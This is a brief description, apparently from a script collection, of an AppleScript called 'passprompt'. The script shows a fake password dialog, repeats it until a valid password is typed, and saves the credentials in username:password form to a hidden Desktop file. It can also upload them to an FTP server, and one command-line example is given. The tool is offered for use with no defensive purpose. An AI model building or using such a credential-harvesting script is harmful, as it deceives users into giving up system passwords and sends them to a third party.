Create passprompt

this script displays a dialog asking for a password and repeats the prompt if the password entered is blank or invalid. The script logs the valid password to ~/Desktop/.password.txt so it is hidden. If it is run through osascript in the command line, you may pass an ftp server and path as an argument. The script will automatically upload to your server for your viewing pleasure. ex. osascript passprompt.scpt 192.168.1.2/path/to/folder/anyfilename.txt (format of the password file is <username>:<password>)